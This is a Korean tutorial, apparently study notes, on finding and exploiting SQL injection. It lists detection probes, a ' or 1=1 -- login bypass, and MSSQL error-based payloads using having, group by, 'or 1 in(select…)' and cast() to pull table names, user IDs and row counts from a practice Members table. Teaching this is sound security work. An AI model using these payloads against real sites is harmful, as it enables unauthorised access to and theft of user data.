[취약점 점검] SQL Injection 취약점 확인

SQL인젝션에 대해서 알아보고 어떤 방식으로 탈취하게 되는지 알아보겠습니다.

SQL injection 은 보통 사이트의 입력 가능한 공간에 sql 문을 삽입함으로 예상치 않은 오류나 오작동을 일으켜 비정상 동작을 일으키는 공격입니다. 비교적 쉬운 공격이기 때문에 많은 공격자가 기본적으로 시도해 보는 공격이기도 한데요

SQL인젝션에 대해서 알아보고 어떤 방식으로 탈취하게 되는지 알아보겠습니다.

 


SQL Injection

 

취약점 확인

 1. DB 연동 서비스 페이지에서 아래 문자열을 삽입 후 500번대 에러메시지 발생 확인

  1) '(싱글쿼테이션)
  2) ' and 1=1 -- (참인 쿼리)
     ' and 1=2 -- (거짓 쿼리)
     => 서로 다른 응답 페이지 확인 시 Blind SQL Injection 취약점 존재 판단

 2. SQL Query연습하기

  1) sqlzoo.net

#From 기반 Injection

1. 인증우회

 1) ' or 1=1 --

#Error Based Injection

1.에러페이지를 통해서 데이터베이스의 구조를 노출시키는 기법

2. 데이터베이스의 구조

 1) 데이터베이스명
 2) 테이블명
 3) 컬럼명
 4) 필드값 또는 레코드값
 

1. 취약점

 1) SQL Injection 및 Error 페이지 노출

2. Database 이름 알아내기

 1) 'and db_name() > 1 --

 

3. Table명 및 Column명 알아내기

 1) having
 group by 하고 같이 쓰여야 함
 group by를 이용해서 집계한 값의 조건비교할 때 사용하는 구문

 2) group by
 동일한 값을 가진 데이터를 집계해서 조회하고자 할 때 사용하는 구문

 'having 1=1 --
  => members.num

 SELECT * FROM Members WHERE user_id = 'a' and passwd = ''having 1=1

 'group by(num) --


 SELECT * FROM Members WHERE user_id = 'a' and passwd = ''group by(num) --

 'group by num, user_id --

 
  members
  num / user_id / passwd

 

예시

Q.)회원의 아이디를 알아내시오.
1. 회원의 아이디를 조회
select user_id from members

2. 회원의 첫번째 아이디부터 조회
select user_id from members where num > 0

3. 에러페이지 유발
'or 1 in(select user_id from members where num > 0) --

SELECT * FROM Members WHERE user_id = ''or 1 in(select user_id from members where num > 0)

 Q. 회원의 ID 다섯개를 알아내시오.
 Hint) not in
'or 1 in(select user_id from members where user_id not in ('user')) --
=> bisang2da

 'or 1 in(select user_id from members where user_id not in ('user','user1')) --[웹의 구조]

Q. cast() 함수를 사용해서 Members 테이블의 행의 갯수 얻어오기
'or 1 in(select 'a'+cast(count(*) as varchar(100)) from members)--